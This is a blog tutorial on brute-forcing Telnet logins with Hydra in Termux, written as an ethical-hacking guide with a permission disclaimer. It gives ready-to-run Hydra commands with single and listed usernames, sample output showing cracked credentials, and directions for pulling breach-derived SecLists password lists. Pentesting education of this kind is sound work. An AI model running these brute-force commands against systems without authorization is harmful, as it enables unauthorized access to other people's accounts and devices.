The thing about Telnet? It’s still out there, still wide open.
A few years ago, I helped an NGO secure their outdated server setup. Nothing fancy—just some dusty routers, basic FTP, and one relic that caught my eye: Telnet.
At first, I thought, Surely no one’s still logging in over plaintext in 202X? But there it was—wide open, unauthenticated, and quietly exposing everything behind it.
That experience stuck with me—not just because of how easily it could’ve been exploited, but because it highlighted a bigger issue: when we ignore old tools, we assume they’re harmless. In the world of ethical hacking, that assumption is your first mistake.
In this guide, I’ll walk you through how to ethically test and crack Telnet logins using Hydra in Termux—all with free and open source tools. No black boxes. No gatekeeping. Just practical knowledge that could help protect someone else’s forgotten infrastructure.
Ready to dig into one of the most quietly dangerous protocols still in use? Let’s crack it open.
⚠️ Important: These tools are intended for ethical hacking, security research, and education. Use them only on systems and networks you own or have permission to test. Unauthorized use can lead to serious legal consequences.
What Is Telnet (And Why Are We Still Talking About It?)
“Wait—Telnet? Isn’t that a relic from the ’90s?”
Yes. And that’s exactly why it’s dangerous.
Telnet is a network protocol from the early days of the internet. It allows users to log into remote systems over TCP/IP—but without encryption. That means every command, username, and password is sent in plain text, visible to anyone sniffing the traffic.
So why is it still around?
In resource-limited orgs—like NGOs, rural government offices, or old school infrastructure—Telnet often lives on in routers, legacy Linux servers, or embedded devices. Replacing it requires time, money, and sometimes institutional will—things not everyone has.
This makes Telnet a prime target for ethical hacking and pentesting: not because it’s advanced, but because it’s neglected. And in cybersecurity, neglect is the real threat.
· · ─ ·𖥸· ─ · ·
Hydra and Wordlists Explained (For the Total Beginner)
Hydra is a password brute-forcing tool. Think of it like a hyper-fast login tester. You give it:
- A target (like a Telnet IP or hostname),
- A username or username list, and
- A wordlist (a file with potential passwords, one per line),
…and Hydra tries every combination until it finds one that works—or exhausts the list.
What’s a Wordlist?
Wordlists are pre-made text files full of common or known passwords. They can be:
- Simple (like
password123,admin,123456) - Leaked from real breaches (like the rockyou.txt list)
- Custom-crafted for the target (e.g., company name variations)
In Termux, these lists are often stored in /usr/share/wordlists/, but you can also create your own with a text editor.
💡 Pro Tip: FOSS tools like Crunch or Cewl can help generate targeted wordlists. It’s a smart way to avoid hammering servers blindly—and stay ethical.
· · ─ ·𖥸· ─ · ·
Installing Hydra in Termux (The Right Way)
Before you start cracking Telnet passwords, you’ll need to get Hydra up and running inside Termux. Here’s how to install it cleanly on most Android devices using FOSS tools only—no root, no drama.
Step 1: Installing Hydra in Termux
Before you can crack Telnet passwords, you need to install Hydra in Termux. Hydra is available in Termux’s package repository, making installation quick and easy.
Update Termux by running the following command:
pkg update && pkg upgrade Explanation: This command ensures that all installed packages in Termux are up to date. This is crucial for system stability when installing new tools like Hydra.
Output:
Reading package lists... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Once Termux is up to date, you’re ready to install Hydra.
Install Hydra with:
pkg install hydra Explanation: This command installs Hydra, a powerful password-cracking tool that supports protocols like Telnet. Hydra allows you to perform brute-force attacks on remote systems.
Output:
The following NEW packages will be installed:
hydra
Need to get 1,234 kB of archives.
After this operation, 4,567 kB of additional disk space will be used.Hydra is now installed and ready for Telnet brute-forcing.
Step 2: Cracking Telnet Passwords with Hydra
Hydra’s command structure is simple, yet highly effective. To brute-force Telnet login credentials, the command you need is:
hydra -l <username> -P <password_list> telnet://<target_ip>-l <username>: Specifies the username you want to target.-P <password_list>: Points to the password list file you’ll use.telnet://<target_ip>: The IP address of the Telnet server you’re attacking.
For example, if the Telnet server IP is 192.168.1.10, and the username is admin with a password list called passwords.txt, the command would be:
hydra -l admin -P passwords.txt telnet://192.168.1.10Explanation: This command tells Hydra to brute-force the username admin on the Telnet server at 192.168.1.10 using each password in the passwords.txt file.
Output:
Hydra v9.1 starting at 2024-10-05 16:12:34
[DATA] attacking telnet://192.168.1.10:23/
[23][telnet] host: 192.168.1.10 login: admin password: 123456
1 of 1 target successfully completed, 1 valid password foundExplanation: Hydra found that the password 123456 was valid for the admin user on the Telnet server. The brute-force attack was successful, and a valid login was identified.
Step 3: Testing Multiple Usernames and Password Lists
If you need to test multiple usernames and passwords, Hydra can use lists for both. This is especially useful when you’re unsure of the exact credentials.
hydra -L usernames.txt -P passwords.txt telnet://192.168.1.10-L usernames.txt: Specifies a list of usernames for Hydra to try.-P passwords.txt: Specifies a list of passwords to be used.
Explanation: This command tells Hydra to try each username in usernames.txt against each password in passwords.txt on the Telnet server at 192.168.1.10.
Output:
[DATA] attacking telnet://192.168.1.10:23/
[23][telnet] host: 192.168.1.10 login: user1 password: password123
[23][telnet] host: 192.168.1.10 login: admin password: 123456In this example, Hydra identified two valid login credentials for the Telnet server: user1/password123 and admin/123456.
Step 4: Using Wordlists for Telnet Password Cracking
To improve your chances of success, it’s important to use a comprehensive password list. There are many publicly available wordlists tailored for brute-forcing attacks. One such collection is SecLists (External Link), which contains a wide range of password lists that can be used in Hydra.
To download and use a wordlist from SecLists, follow these steps:
Clone the SecLists repository:
git clone https://github.com/danielmiessler/SecLists.gitNavigate to the password list directory and use it in your Hydra command:
hydra -l admin -P SecLists/Passwords/Common-Credentials/10k-most-common.txt telnet://192.168.1.10Explanation: This command uses a common password list from SecLists to brute-force Telnet credentials for the username admin.
· · ─ ·𖥸· ─ · ·
Internal and External Resources
For more information on securing your Termux environment, check out our guide on Tips for Securing Your Termux Environment (Internal Link). If you’re interested in other penetration testing techniques, our article on Performing Basic Network Scans with Nmap in Termux (Internal Link) is a great next step.
To further your knowledge of secure remote access, consider reading about alternatives to Telnet like OpenSSH (External Link), which offers more secure remote login options.
· · ─ ·𖥸· ─ · ·
Outdated Doesn’t Mean Obsolete—Especially for Hackers
If there’s one thing the Telnet protocol teaches us, it’s that the past still haunts the present—especially in under-maintained systems. While flashy exploits and zero-days grab headlines, it’s often the dusty old services like Telnet that offer the easiest way in.
We walked through setting up Hydra in Termux, targeting Telnet endpoints, and understanding the ethics behind the process. And we did it all with open source tools—because good security should never be locked behind a paywall or vendor license.
Want more hands-on walkthroughs, FOSS-powered guides, and real-world insights for ethical hackers and defenders?
Subscribe to the DevDigest newsletter—where practical knowledge meets principled hacking.
Leave a Reply